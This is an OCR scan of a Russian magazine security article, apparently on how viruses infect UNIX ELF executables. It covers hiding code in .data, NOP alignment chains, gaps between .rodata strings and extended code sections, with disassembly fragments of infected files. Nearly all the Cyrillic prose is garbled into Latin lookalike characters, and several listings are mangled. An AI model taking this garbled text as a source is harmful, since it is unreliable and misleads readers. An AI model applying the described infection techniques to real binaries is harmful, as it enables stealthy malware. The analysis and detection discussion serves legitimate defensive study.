Nsipbl BCTPEYalOTCA KpalHe peako, M noaaensitowee 60Mb-
LUMHCTBO BMpYyconucaTesiei 0CTaBMSET CEKLMIO AaHHbIX C
atpubyTamm no ymosi4aHuio.

Opyroin HemanoBaXHbIi ¥ HE OYEBWUAHbLIA Ha NepBbIv
B3rN1i4 MOMeHT. 3afymanTech, Kak U3MEHWUTCS NoBeAeHue
3apaxxeHHoro hamna npu BHEAPEHWUM BUpYCa B He-nocre-
[HI010 cekumio .data, cnegom 3a KoTopor pacnonoxeHa .bss?
A HUKaK He mameHuTca! HecmoTps Ha To, Y4TO mocnegHss
cekuma 6ygeT cnpoeuypoBaHa COBCEM HE N0 TEM agpecam,
NPOrpaMMHbI Kog, 06 3TOM «He y3HaeT» W MPOAOIKMT 06-
palaTbCs K HeMHUUMANM3NPOBaHHLIM NEPEeMEHHbIM Mo UX
NPeXHUM appecam, Tenepb 3aHATbIX KOOOM Bupyca, KOTO-
PbIA K 3TOMY MOMEHTY YXXe oTpaboTan 1 BOo3BpaTui Opuru-
HanbHOMY hainy Bce 6pasabl NpasneHus. Npu ycnosum, 4To
NpOrpamMMHsbI Kof CNIPOEKTUPOBaH KOPPEKTHO U He 3akna-
[bIBAETCS Ha Ha4anbHOe 3Ha4YEHNEe HEMHMLIMANU3NPOBAHHbIX
NepPeEMEHHBIX, NPUCYTCTBME BMPYCA HE HapyLumuT paboToc-
NMOCOGHOCTX MPOrpammbl.

OpHako B CypOBbIX YCNOBUSX peanbHOM XWU3HWN 3TOT 3ne-
raHTHbIA NPYEM 3apaXeHns nepecTaeT paboTaTtb, NOCKOSbKY
cpepHecTaTucTmdeckoe UNIX-npunoxeHune cogepXuT nopag-
Ka OecaTU pasnnyHbIX CEKLMIA BCEX HA3HAYeHWi 1 MacTeil.

BarnsHuTe, Hanpumep, Ha CTPOEHUE YTUNUTBI IS, N03aMMCTBO-
BaHHOW 13 cnegytowero auctpudytuea UNIX: Red Hat 5.0:

JiucTvHr 5. Tak BEIVISAMT TUNMYHAS KapTa NaMaTH HOpPMaJbHOTO daina

Start End
08000A10 08000A18 para 0001 publ CODE

Name
.init

Align Base Type Class 32 es ss ds fs gs
FFFF FFFF 0006 FFFF FFFF

Y
.plt 08000A18 O08000CE8 dword 0002 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.text 08000CFO 08004180 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFEFF
.fini 08004180 08004188 para 0004 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.rodata 08004188 08005250 dword 0005 publ CONST Y FFFF FFFF 0006 FFFF FFFF
.data 08006250 08006264 dword 0006 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.ctors 08006264 0800626C dword 0007 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.dtors 0800626C 08006274 dword 0008 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.got 08006274 08006330 dword 0009 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.bss 080063B8 08006574 gword 000A publ BSS Y FFFF FFFF 0006 FFFF FFFF
extern 08006574 08006624 byte 000B publ N FFFF FFFF FFFF FFFF FFFF
abs 0800666C 08006684 byte 000C publ N FFFF FFFF FFFF FFFF FFFF

Cekuus .data pacnonoxeHa B camol «ryuie» caina, u
4TOObI 40 HEe Jo6paTbCs, BUPYCY NpUaETCs No3aboTUTbCs O
MoaumKaLmmy cemu ocTanbHbIX CEKLMWIA, CKOPPEKTUPOBAB WX
nons p_offset (cmeLleHWe cekumm OT Havana anna) Hagne-
Xawum o6pasoM. HekoTopble BUPYCbl 3TOMO He denaoT, B
pesynsTaTe Yero 3apaxeHHble hainbl He 3amnycKatoTcs.

C ppyrov cTOpoOHbI, cekuusi .data paccMaTpvBaemoro
thavina HacuuTbiBaeT Bcero 10h 6aiT, NOCKONbKY JibBUHAA
4acCTb JaHHbIX NPOrpaMMbl pasmelLieHa B cekuum .rodata (cek-
LMW OaHHbIX, LOCTYMHOW TONbKO Ha YTEHME). ATO TUMMYHas
npakKTUKa COBPEMEHHBIX NIMHKEPOB, U GOSBLUMHCTBO MCMON-
HAeMbIX (halinioB OpraHM3oBaHbl UMEHHO Tak. Bupyc He mo-
XET pa3MecTUTb CBOW Ko B CeKumn .data, NOCKONbKY 37O fde-
NaeT ero CIMLLKOM 3aMETHbIM, HE MOXET OH BHELPUTLCA U B
.rodata, T.K. B 3TOM cfiy4ae OH He CMOXET cebs pacLumpo-
BaTb (BblAeNUTb NaMsATb HA CTEKE M CKOMMPOBATL Tyda CBOE
TENo — He npegnarath: 48 COBPEMEHHbIX BUpyconucartenemn
3TO CNULLKOM CROXHO). [a 1 cMbicna B 3TOM 6yAeT HEMHOTO.
Konb ckopo BUpYCY NpUXOOMTCS BHEAPATLCSH HE B KOHEL, a B
cepeluHy channa, yX Nydwie emy BHeOPUTLCSH HE B CEKLIMIO
JaHHbIX, a B cekuuio .text, cogepxatLyo MalUnHHbIA Kog. Tam
BUpYC ByOeT He Tak 3aMeTeH (OH 06 3TOM Mbl NOrOBOPYM M03-
Xe CM. «3apaxeHue NOCPEACTBOM pacCLUMPEHNS KOLOBOM
cekuun harna»).
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| ELF-3aroaoBok

| Mo;\mpnu.nioiﬁ

KOA v AAHHBIE |
MPOrpammbl

TOYKC
BXOAC

J 10
9BX

KOA v AAHHBIE |
MPOrpammbl

PucyHok 3. TunoBas CxeMa BapaxeHMsl MCIOJHseMOTo Qaitna myTem
PacUMpeHMsl ero MOCNEefHEe! CeKUun

IDA View-A
stosb
retn

.data:080499C1) LIME_END: ; Alternative name is 'main’

, offset gen_msg

; LINUK - sys_write
ecx,

gen_11:
ecx
eax,
ebx, (offset host_msg+20h)

; LINUK - sys_creat
eax
eax,
ebx, offset
ecx,
edx,
ebp, e_entry
LINE

ebx

ax,

ecx, offset elf_head
edx,

p_filsz, edx
p_memsz, edx

; LINUX - sys_write
eax,

080499C1

PucyHox 4. BHewHwumit Bup oOaina, BapaxeHHOTO BUPYCOM
PolyEngine.Linux.LIME.poly; BMPYC BHeZpsieT CBOe TeJO B KO-
Hell CeKUMM [aHHHX ¥ YCTaHaBIMBaeT Ha HEro TOYKY BXofa.
Hanuume wMCHNOMHSIEMOTO KOJa B CEKUMM [HaHHHX JHeJaeT MNpuUCyT-
CTBMe BMpYCa UpEeBBHYANHO BaMeTHHM

C)XaTHe 4acTu opurMHanbHoro thamna
[peBHWE cuuTanu, 4To UCTUHA B BUHE. OHM SIBHO OLUMOGANCh.
McTuHa B TOM, YTO [€Hb OTO AHA MPOrpamMbl CTAHOBATCA BCe
XVPHEE W XUPHEE, & BUPYCbI BCE M3OLLPEHHEE M U3OLLPEHHEE.
Kakol 6bl ypoLmBbIA KoL HU BbibpackiBana Ha pbIHOK dmpma
Microsoft, oH Bce xe nydwe HekoTopbix UNIX-nogoenok. Ha-
npumep dann cat, Bxogawmii B FreeBSD 4.5, 3aHMmaeT 6onee
64 K6. He cnmwwkKoM fin MHOTO Ansl MPOCTEHLKOW YTUNUTLI?!
MpocmoTp haiina nog HEX-pegaktopom o6HapyxusaeT
60MbLLOE KONMYECTBO PerynsapHbIX NocnenoBaTesnbHOCTEN (B
6OMbLUMHCTBE CBOEM — LIEMOYEK Hyren), KOTopble Nnéo BOOG-
LLie HVKaK He MCMob3yeTes, MO0 nognatoTcst 3hheKTMBHOMY
cxaruio. Bupyc, cobnasHmBLIMCh Hanm4mMem CBOBGOOHOrO Mec-
Ta, MOXET CKONMPOBATb Tyaa CBOE TENO, Nyckai eMy v NpuaeT-
€A1 «pacchinaTbCsi» Ha HECKOMbKO AECATKOB NsATeH. Ecnm xe cBo-
600HOEe MECTO OTCYTCTBYET — He 6efa! MNpakTuiecku Kaxabin
UCMOMNHAEMbIN hain CoOepXUT BOMbLUOE KONMMYECTBO TEKCTO-
BbIX CTPOK, & TEKCTOBbIE CTPOKM, KaK XOPOLLO M3BECTHO, NTETKO
NoAAatoTCs CxaTuio. Ha nepBbIi B3rnsg, Takon anroputM 3apa-
XXEHWS1 KAXKETCA YPEe3BblHaNHO CHOXHbIM, HO, MOBEpPLTE, pearu-
30BaTh MPOCTENLLMIA YNakoBLLUMK XaddMaHa HaMHOro npotue
TOrO LUAMaHCTBa C pa3aBWXKaMU CEKLWIA, YTO MPUXOANTCA [e-
natb BUPYCY AN BHEAPEHWs B cepenmHy chaina. K Tomy xe
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NPy TaKoM Crocobe 3apaeHunst AnmHa haina ocTaeTcs Hems-
MEHHOA, YTO YaCTUYHO CKPbIBAET (PaKT HanM4us BUpYyca.

PaccmoTpuM, Kak NMpoMCXoauT BHEAPEHUE BMpYCa B KO-
LOBbIA cermMeHT. B npocTeiiliemM cnyyae BUPYC CKaHWpPyeT
thann Ha npegmeT noucka 6onee nnnM MeHee AJIMHHOM nocrne-
posatenbHocTy komaHg NOP, ncnonb3yowwmxcs ans Bbipas-
HWBaHWS MPOrpamMMHOro Koda No KpaTHbIM agpecam, 3anu-
CbIBaeT B HMX KYCOYEK CBOEro Tena v [o6aBnseT komaHgy
nepexofa Ha crepyroLwmii parmeHT. Tak NpofomkaeTcs 4o
TEeX Mop, NoKa BMPYC MOMHOCTLIO HE OKaxeTcs B (haine. Ha
3aBepLUAIOLLEM 3Tarne 3apaXeHus BUPYC 3anuchiBaeT afpe-
ca «3axBa4veHHblX» MM (DparMeHTOB, MOC/E Yero nepenaet
ynpaenexue arny-HocuTeno (ecnm aToro He cpenatb, Bu-
PyC He CMOXET CKOMMpOBaTb CBOE TENO B CEAYIOLLMIA 3apa-
Xaemblin hain, npasga, napa 0co60 U3OLLPEHHbIX BUPYCOB
COEPXMT BCTPOEHHbI TPACCUPOBLLMK, aBTOMATUHECKM CO-
fupatoLLmin TENO BMpYyCca Ha NeTy, HO 3TO YMCTO naboparop-
Hble BMUPYCbI, U HA CBOBOAE MM HE TYynaTh).

PasnnyHble nporpamMMbl cogepxar pasfiMyHoe Komnmye-
CTBO CBOGOAHOMO MecTa, pacxofytLlerocs Ha BblpaBHUBA-
Hue. B YacTHOCTH, NporpaMmbl, BXoAsLLME B 6a30BbIA KOMM-
nekT noctaekn FreeBSD 4.5, npeMmyLLeCTBEHHO OTKOMUMU-
POBaHb! C BbIPABHMBAHUEM Ha BESIMUMHY 4-X 6anT. YunTbiBas,
4TO KOMaHza 6e3yCnoBHOro nepexopa B x86-cuctemax 3aHu-
MaeT Mo MeHbLUEN Mepe ABa 6aiiTa, BTUCHYTLCS B 3TOT CKPOM-
HbIA 06BEM BUPYCY MPOCTO HepearnbHo. C onepaLmMoHHOA cuc-
Temon Red Hat 5.0 gena 06¢ToAT MHadve. KpaTHOCTb BblpaBHU-
BaHWA, YCTAHOBMEHHAA Ha BenuymHy ot 08h go 10h 6awT, ¢
NErkocTbl0 BMeLLaeT B Ce6s BUPYC CPEOHUX Pa3MepoB.

Hwxe B ka4ecTBe npumepa NpuBeaeH parMeHT amM3accem-
6nepHoro nuctuHra ytunutel PING, 3apaxeHHOW BUPYCOM
UNIX.NuxBe.quilt (moguchukaumsa nssectHoro supyca NuxBee,
ony6nmMKOBaHHOMO B 3MIEKTPOHHOM XYpHane, BbiNyCKaeMoMm
rpynnon #29A). [laxe HauyMHaoLWmMIA uccnegosaress nerko o6-
Hapy>uT MpUCYTCTBME BUpYca B TeNe Nporpammbl. XapakTep-
Has Lienoyka jmp, NPOTSHYBLUASCA Yepe3 BECb CErMEHT [aH-
HbIX, HE MOXET He 6pPOCUTLCA B rnasa. B «4ecTHbIX» nporpam-
Max Takoro NPakTUYECKW HUKOrOa He BbIBaeT (XUTpble KOHBEP-
THbIE 3aLLMTHI U YNAKOBLLMKW UCTIOSNHAEMBIX (haliioB, NOCTPO-
€HHbIE Ha NMONMMOPHBIX ABVXKKaX, Mbl OCTABUM B CTOPOHE).

OTMETUM, YTO (hparmMeHThl BUpyca He 0643aTenbHO Aon-
XHbI CNEAOBATh NIMHENHO. HanpoTue, BUpYC (eCnu TONLKO ero
cosfaTenb He fayH) NPeanpuUMET BCE YCunust, H4Tobbl 3amac-
KMpoBaTb (haKT CBOEro CyLecTBOBaHWA. Bbl [OMKHbI ObITb
rOTOBbI K TOMY, 4TO jmp 6yayT 6510X01 cKakaTb No BcemMy hai-
ny, UCNOSb3YS «JIEBbIE» ANWUOTN U NPONOMY AN CUSHUA C
OKpyXaroLwmmy yHKUMAMK. Ho 3TOT 06MmaH nerko pasobna-
YUTb NO MEPEKPECTHLIM CCbISIKaM, aBTOMATUYECKW reHepu-
pyembiM ausdaccemb6nepom IDA Pro (Ha nognoxHele nposo-
TW/3NWUNOTN NEPEKPECTHBIE CCbINIKU OTCYTCTBYIOT!):

JcTMHT 6. $parMeHT paina, BapaxeHHOro BupycoM UNIX.NuxBe.quilt,
«pasMasHBaKuyM» Ce6s MO KOFOBOW CeKUMM

.text:08000BD9 xor eax, eax
.text:08000BDB Xor ebx, ebx
.text:08000BDD jmp short loc_8000C01
.text:08000C01 loc 8000C01: ; CODE XREF: .text:0800BDDtj
.text:08000C01 mov ebx, esp

.text:08000C03 mov eax, 90h
.text:08000C08 int 80h ; LINUX - sys_msync
.text:08000C0A add esp, 18h

CHCTEMHEBIAAMUHUCTPATOP



.text:08000C0D jmp loc_8000D18
.text:08000D18 loc_8000D18: ; CODE XREF: .text:08000CODtj
.text:08000D18 dec eax

.text:08000D19 jns short loc_8000D53
.text:08000D1B jmp short loc_8000D2B
_text:08000D53 loc_8000D53: ; CODE XREF: .text:08000D19tj
.text:08000D53 inc eax

.text:08000D54 mov [ebp+8000466h], eax

.text:08000D5A mov
.text:08000D5C jmp

edx, eax
short loc_8000D6C

KctaTn roBops, pacCMOTPEHHbIA HaMW afirOPUTM He COo-
BceM koppekTeH. Llenouka NOP MoxXeT BCTpeTUTbCs B Ni0-
60M MecTe nporpamMmbl (Hanpumep, BHYTPU YHKLWK), 1 TOT-
[a 3apaXeHHblil thaiin nepectaHeT padoTaTb. YT06bI 3TOrO
HE MPOM30LLNO0, HEKOTOPbIE BUPYChI BLIMOMHAOT Pag AOMOs-
HUTENbHBIX NPOBEPOK, B YacTHOCTM ybexgatoTtcs, 4to NOP
pacnonoxeHbl MEXAY ABYMA (PYHKLMAMKU, ONO3HABas UX Mo
KomMaHzam nposora/anunora.

BHeapeHue B CEKLMIO AaHHbIX OCYLLECTBNAETCA eLLe Mpo-
we. Bupyc vweT pnMHHYIO LENOYKY HYNEN, pasfeneHHyio
yutabenbHbiMK (To4Hee — printable) ASCIl-cumBonamm u, Hai-
[ TaKoBYIO, NOSIaraeT, YTO OH HAXOQWTCH Ha HUYEHOW Tep-
puUTOpPUM, 06Pa30BABLLEICS B pE3YIbTaTE BblPABHUBAHUS TEK-
CTOBbIX CTPOK. [MOCKONbKY TEKCTOBbIE CTPOKM BCE Yallle pac-
nonaratoTca B cekuuu .rodata, JOCTYMHOM NULWb Ha YTEHME,
BUPYC [OSKEH ObITb FOTOB COXPaHATb BCE MOAUGMULMPYEMbIE
UM SHEKM Ha CTEKE W/WNWM QMHAMWUYECKON NamsTy.

3a6aBHO, HO BMPYCbI 3TOr0 TUNa [OCTATOYHO TPYAHO 06-
HapyXuTb. [leicTBUTENbHO, Hann4me HeuntabenbHbix ASCII-
CYMBOJIOB MEXAY TEKCTOBLIMU CTPOKAMW — SIBMIEHWE BMOJIHE
HopManbHoe. MOXeT 6biTb, 9TO CMELLEHNS UMK eLLEe Kakue
CTPYKTYPbI AaHHbIX, HA XYAOW KOHEL, — MyCOp, OCTaBNEHHbIN
nMHKepom!

BarnsHuTe Ha pucyHoK 5, nprBengHHbIN Hke. CornacuTecs,

YTO (DaKT 3apPaXeHHOCTM havina BOBCE HE TaK OYEBUOEH:

O e W Ve
.rodata: 08054080
.rodata: 08054090
.rodata: 08054000
.rodata:080540B0
.rodata: 08054000
.rodata: 08054000
.rodata:080540E0
.rodata:080540F0
.rodata: 08054100
.rodata:08054110
.rodata:08054120
.rodata: 08054130
.rodata: 08054140
.rodata:08054150
.rodata:08054160
.rodata: 08054170
.rodata:08054180
.rodata:08054190
.rodata: 08054100
.rodata:080541B0
.rodata:080541C0
.rodata: 08054100
.rodata:080541E0
.rodata:080541F0
.rodata: 08054200

030

2-[1
:ong.RPC struct :

" handle.Disc_quo”
“ta exceeded.Too "
“many users.Too
“any processes.
“rectory not empt
"y.No route to ho
“st.Host is down.”
"File name too

"Too many level
“of symbolic li

“used.Operati
imed ou

“Too many re:
S8

“Can’t send after”
T

W ———————————————— (1 I

struct 17
“s bad{3¢.. .ud .PP"
“Too many ievels ”
“of remote in pat”
“h.Stale NFS file”
" handle.Disc_quo”
“ta exceeded.Too
“many users.Too m”
“any processes.Di”
“rectory not empt”
"y .No route to ho"
"st.Host is down.”

.rodata: 08054080
.rodata: 08054090
.rodata: 08054000
.rodata: 08054080
.rodata:080540C0
.rodata: 08054000
.rodata:080540E0
.rodata:080540F0
.rodata: 08054100
.rodata: 08054110
.rodata:

.rodata:

.rodata: 08054140
.rodata: 08054150
.rodata: 08054160
.rodata:08054170
.rodata: 08054180
.rodata:08054190
.rodata: 08054100
.rodata:080541B0
.rodata:086541C0
.rodata: 08054100
.rodata:080541E0
.rodata:

.rodata:
08054100 :

PucyHok 5. Tak Burusagen damn cat mo (HaBepxy) u mocne (CHuBYy)
ero BapaxeHus

Ne1(14), auBapb 2004

“Too many tevels ”
“of symbolic link™

“used.0Operation
“imed out. | =

|
't send after”
L

6e3onacHocTb

NccnepoBatenu, MMetoLLMe HEKOTOPbIN OMbIT paboTsl C
IDA, 30ecb, BO3MOXHO, BO3pas3aT: MOf, Kakue npobnembl?
MogorHan Kypcop K NepBOMY CUMBOJTY, CriefytoLLEMY 3a KOH-
uom ASCIIZ-cTpoku, Haxan Ha <C>, u... on3acceMmoénep MrHo-
BEHHO pacnaxHyn KOof BMPYCa, XMBOMWUCHO BMJIETEHHbIA B
TEKCTOBbIE CTPOKM (CM. NUCTUHT 7). Ha camom aene Tak cny-
yaeTcsa ToNbko B Teopun. Cpean HeumTabenbHbIX CUMBOJIOB
BUpYCa NPUCYTCTBYIOT M YUTaBENbHBIE TOXE. DBPUCTUHECKUIA
aHanuzatop IDA, owmnb04HO NPUHSAB NOCNeaHNE 3a «HaCTos-
LLiMe» TEKCTOBbIE CTPOKM, MPOCTO He MO3BOMWT UX OM3acCeM-
6nupoBartb. Hy, BO BCSKOM cnyvae [0 TeX NOp, NOKa OHW BHO
He 6yayT «06e3nnyeHbl» HaxatveM knaesuwm <U>. K Tomy
XXE BUPYC MOXET BCTABMATb B HAYa10 KaXoro CBOero gpar-
MeHTa creuuanbHbIi CUMBOJ, ABMSIOLMUIACS YaCcTbO TOW UK
WHOW MalUMHHOM KOMaHAbl U cOMBaloLLmMii gu3accembnep ¢
Tonky. B pesynstate IDA gusaccembnupyeT BCEro nuib
OOVH-EOMHCTBEHHBIN (hparMeHT BMpyca (Oa v TOT HEKOPPEK-
THO), NOCNe 4Yero 3aTKHeTCH, NoaTankmMeBas Hac K UHAYKTMB-
HOMY BbIBOAY, H4TO Mbl UMEEM [ENO C JIEranbHON CTPYKTYPOii
[aHHbIX, U 3NOBPefHbIA MaLLUMHHbIA KoL 30eCb OTPOAsCh He
HoueBar.

VYBbI! Kakon 661 Mory4en IDA HM 6bi1a, OHa BCe-Taku He
BCECWITbHA, W HAfA BCAKUM MOJTyHEHHbIM JIMCTUHIOM BaM eLLe
npeacTout nopa6oTtaTte. Bnpoyem, npu HEKOTOPOM OnbITe
AmnsaccembnmMpoBaHMs MHOrMe MalLMHHbIE KOMaH[bl pacnos-
HatoTcs B HEX-gamne ¢ nepsoro B3rnaga (nonb3yscb cryya-
€M, OTCbINao Bac K «TexHuke 1 hunocoum xakepckux atak/
amnsaccemMbnmpoBaHue B yMe», CTaBLLERN yxe Bubnuorpadm-
YECKOW PEAKOCTbIO, T.K. €€ AanbHEeRLNX NepensfaHuin yxe
HE NnaHupyeTcs):

JncTurr 7. dparMeHT ¢Qanna, BapaxeHHOTO BUDPYCOM
UNIX.NuxBe.jullet, «OpasmasmBaiompM» ce6si IO CeKUMM HaHHBX

.rodata:08054140 aFileNameTooLon db 'File name too long',0
.rodata:08054153 ;

.rodata:08054153 mov ebx, 1
.rodata:08054158 mov ecx, 8049A55h
.rodata:08054158 jmp loc_80541A9

.rodata:08054160 ;
.rodata:08054160 aTooManyLevelsO db 'Too many levels J

of symbolic links',0
.rodata:08054182 aConnectionRefu db 'Connection refused',0
.rodata:08054195 aOperationTimed db 'Operation timed out',0
.rodata:080541a9 ;
.rodata:080541A9 loc_80541A9:

.rodata:080541A9 mov edx, 2Dh

.rodata:080541AE int 80h ; LINUX -
.rodata:080541B0 mov ecx, 51000032h
.rodata:080541B5 mov eax, 8

.rodata:080541BA jmp loc_80541E2
.rodata:080541BA ; ---------mmmmm e
.rodata:080541BF db 90h ; P

.rodata:080541C0 aTooManyReferen db 'Too many references: .
can',27h,'t splice',0

.rodata:080541E2 ;

.rodata:080541E2 loc_80541E2:

.rodata:080541E2 mov ecx, 1FDh

.rodata:080541E7 int 80h ; LINUX - sys_creat
.rodata:080541E9 push eax

.rodata:080541EA mov eax, 0

.rodata:080541EF add [ebx+8049B43h], bh
.rodata:080541F5 mov ecx, 8049A82h
.rodata:080541FA jmp near ptr unk 8054288

.rodata:080541FA ; -----------------—-m—mmmmm oo

.rodata:080541FF db 90h ; P

.rodata:08054200 aCanTSendAfterS db 'Can',27h,'t send J
after socket shutdown',0

OpHako Tpe6yeM0ro Konnyectea MexAyCTpO4HbIX 6anTt
yaaeTca HaCcKpecCTu faneko He BO BCEX MCMONTHAEMbIX than-
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6esonacHocTb

nax, u Toraa BUMpPYC MOXET NPUBErHyTb K MOUCKY 6onee unm
MeHee perynsipHoii obnactv ¢ nocnegyowmm ee cxartvem. B
MPOCTENLLEM Cryqae WULLETCH Lienoyka, cocTosLas M3 ogu-
HaKoBbIX 6ainT, cxXuMaemas no anroputmy RLE. Mpu atom
BMPYC OOMKEH CNeauTh 3a TeM, 4TOObI HE HApPBaTbCA HA MUHY
nepeMeLLaeMbIX 3/IEMEHTOB (BMPOYEM, HU OOWMH U3 U3BECT-
HbIX aBTOPY BMPYCOB 3TOro He genan). Mony4ns ynpaenexve
1 COBEPLUMB BCE, YTO OH XOTEN COBEPLUMTb, BUPYC 3abpachbl-
BaEeT Ha CTEK PaCMakOBLUMK CXATOro kopda, OTBEYaroLmMi 3a
npuBefeHne haina B UCXOLHOE COCTOsHWE. Jlerko BMAETb,
YTO TakMM CMOCOBOM 3apaXatoTcs NWLLb CEKLMM, BOCTYMHbIE
Kak Ha 3anucb, Tak U Ha 4YTeHue (T.e. Hambonee cobnasHu-
TenbHble cekuum .rodata v .text yxe He nogxomsT, Hy pa3se
YTO BUPYC OTBAXMTCA U3MEHUTb UX aTpubyThl, BbigaBas qakTt
3apaxeHus ¢ rosfioBow).

Han6onee HacTbipHblE BUPYCbI MOTYT Mopaxatb U Cek-
LMW HEMHWULMAN3NPOBAHHbIX JaHHbIX. HeT, 3T0 He oLwmbKa,
Takune BUPYCbl OEACTBUTENBHO €CTb. VX nosBneHve o6bsc-
HAETCA TeM 06CTOATENLCTBOM, YTO MOJSIHOLEHHbLIA BUPYC B
«[blpax», OCTaBLUMXCA OT BblpaBHWBaHUA, pa3mMecTUTb BCe-
TaKu TPYAHO, HO BOT BUPYCHbIN 3arpy34vK Tyaa BNe3aeT Bnos-
He. CeKUMM HEMHULMANM3NPOBAHHBIX AaHHbIX, CTPOrO rOBO-
psi, He TONbKO He 065i3aHbl 3arpyxarbCsi C AUCKa B NamsiTb
(xoTs1 HekoTopble UNIX mx BCce-Taku 3arpyxatoT), HO MOryT
BOOGLLIe OTCYTCTBOBATbL B (haisfie, AMHAMUYeCKU CO3[aBasiCh
CUCTEMHbIM 3arpy34nkom Ha nety. OpgHako BUpYC U He cobu-
paeTcs uckatb Ux B namati! BMecTo aToro oH BpyuHyio cyu-
ThIBaeT UX HEMOCPELCTBEHHO C CaMOro 3apaXeHHoro canna
(NnpaBga, B HEKOTOPbLIX CAly4asx AOCTYN K TEKyLUEMY BbIMNOS-
HAemMoMy haiiny npegycMOTPUTENBHO 6II0KMPYETCs onepa-
LIMOHHOW CUCTEMOW).

Ha nepBbIit B3rnsg, NOMeLLEHVE BUPYCOM CBOErO Tena B
CEKLMM HEMHWULMANMN3NPOBaHHBIX OAHHLIX HUYErO HE MEHS-
eT (ecnv paxe He OemMacKMpyeT BMPYC), HO MPW MOMbITKE
MOMMKMN TaKOro BMpYCa 3@ XBOCT OH BbICKOMb3HET U3 PYK.
CeKums HEMHULMaNU3NPOBaHHbIX JaHHbIX BU3YaslbHO HUHEM
HE OTNIMYAeTCs OT BCEX OCTanbHbIX CEKLMWIA (haitna, u co-
LEepXaTb OHa MOXeT BCe, YTO YrofHo: OT OJIMHHOW Cepuu
Hynewn, 0O KonupanToB paspaboTynka. B yactHocTu, co3pa-
Tenu guctpuéytnea FreeBSD 4.5 nmeHHO Tak v noctynaroT
(cM. nnucTuHr 8).

JucTuHr 8. Tak BHIVIIAUT CeKUust .bss GONBUMHCTBA (aitioB M3 KOM-
nnexTa nocrasku Free BSD

0000E530: 00 00 00 00 FF FF FF FF
0000E540: 00 00 00 00 00 00 00 00
0000E550: 00 00 00 00 00 00 00 00
0000E560: 00 47 43 43 3A 20 28 47 4E 55 29 20 63 20 32 2E GCC: (GNU) c 2.
0000E570: 39 35 2E 33 20 32 30 30 31 30 33 31 35 20 28 72 95.3 20010315 (r

| 00 00 00 00 FF FF FF FF

|
\
|

0000E580: 65 6C 65 61 73 65 29 20 | 5B 46 72 65 65 42 53 44 elease) [FreeBSD

\
\
|
[

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

0000F2BO: 4E 55 29 20 63 20 32 2E
0000F2C0O: 31 30 33 31 35 20 28 72
0000F2D0: 5B 46 72 65 65 42 53 44
0000F2E0: 00 00 01 00 00 00 30 31

39 35 2E 33 20 32 30 30
65 6C 65 61 73 65 29 20 10315 (release)
5D 00 08 00 00 00 00 00 [FreeBSD] o

2E 30 31 00 00 00 08 00 © 01.01 a

NU) c 2.95.3 200

Psan pmnsaccem6bnepos (v IDA Pro B TOM 41cne) no BnosiHe
NOTMYHBIM COOBPaXKEHNAM He 3arpyxaeT COOEePXNMOE Cek-
LUMA HEVMHULMANTM3MPOBAHHbLIX AaHHbIX, SBHO OTMeYas 3To
06CTOATENLCTBO ABOVHLIM 3HAKOM BOMpOca (CM. IMCTUHT 9).
Mpuxooutcsa uccnegosath hann HenocpefcTBeHHo B HIEW
nnn noéom gpyrom HEX-pepaktope, pasbupas a.out/ELF-
thopmat «BpyyHyto», T.K. nonynspHele HEX-pegakTtopsl ero
He nopaepxmuBaloT. CKaxute YECTHO: rOTOBbI SN Bbl STUM
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peanbHO 3aHMMaTbCs? Tak YTo, Kak HW KPYTU, @ BUPYChl 3TO-
ro TUMa MMelT BCE LIAHCHI Ha BbIKMBAHWE, MyCTb MaCcCOBbIX
3MUAEMUIA UM HUKOr[A He BUAATb.

Jucrurr 9. Tak BHIVIAAUT cCeKums .bss B gmsaccemGnepe IDA Pro
¥ GoNBUMHCTBE JPYIMX AusacceMbnepos

.bss:08057560 ?? 2?7 2?2 22 2?7 2?2 ?? ??2-22 ?? ?? ?? ?? ?? ?? ?°?
.bss:08057570 ?? 2?7 2?2 2?2 2?2 2?2 2?22 2??2-2? °?

.bss:08057580 ?? ?? 2?2 2?2 2?2 2?2 2?2 ?2-2? 22 22 2?2 2?2 2?2 ?? ?? "
.bss:08057590 ?? 2?7 ?? ?? 2?2 ?? ?? ?7-2? 2?7 ?? 2?7 ?? ?? ?2? ?? "
.bss:080575A0 2?2 ?2? ?? ?? 2?2 2?2 2?2 ??2-22 2?2 2?2 2?2 2?27 ?? 2?27 ?? "
.bss:080575B0 ?? ?2°?
.bss:080575C0 ?? ??
.bss:080575D0 ?? ?°?
.bss:080575E0 2?2 2?2 ?

"2922222222222222"

3apaxeHnue nocpeCTBOM paclIMpeHns

KO[I0BOM CeKuuwn thaina

HanbonbLuyto CKpbITHOCTb BUPYCY 0BECNEYMBAET BHEOPEHNE
B KOAOBYIO CEKLMIO 3apaxaemoro haiina, HaxogsLyocs riy-
60KO B cepefuHe nocnegHero. Teno Bupyca, CnmMBasch ¢ Uc-
XOOHbIM MaLLUMHHLIM KOLOM, BUPTYanbHO CTaHOBUTCS COBEP-

LLIEHHO He OTIMYUMbIM OT «HOPMaJSIbHOM» MporpaMmel, 1 06-

HapyXuTb TaKylo 3apasy MOXHO JiUllb aHaIM30M ee anro-

putMa (CM. Takxe «OCHOBHbIE NMPU3HAKW BUPYCOB»).
Be360one3HeHHOe paclumMpeHne KOJOBOW CEKLMM BO3MOX-

HOo nuwb B ELF- n COFF-tpaiinax (nop «6e360ne3HeHHOC-

TblO» 3[ECb MOHMMAETCH OTCYTCTBME HEOBXOOMMOCTM B ne-
peEKOMNMAALMM hanna-XepTBbl), U JOCTUraeTca OHO 3a CHeT
TOro 3amevartesibHoro 06CTOATENbCTBA, HTO CTapTOBbIE BUP-
TyanbHble afipeca CErMeHTOB/CEKLMIA OTAENEHbI OT UX n3u-
YECKMX CMELLIEHWIA, OTCUMTBIBAEMbIX OT Hadvana dawna.

Anroputm 3apaxeHnus ELF-cpaiina B obLiem Buge BbIrns-
ouT TaK (BHeppeuue B COFF-chainbl ocyliecTBnseTcs aHa-
NOrMYHbIM 06Pa30M):

B BypyC OTKPLIBAET (haiin W, CHMTaB €ro 3arofioBok, yoex-
JaeTcsl, 4To 31O AencTutensHo ELF;

B 3aronoBok Tabnuupl cekumii (Section Header Table) ne-
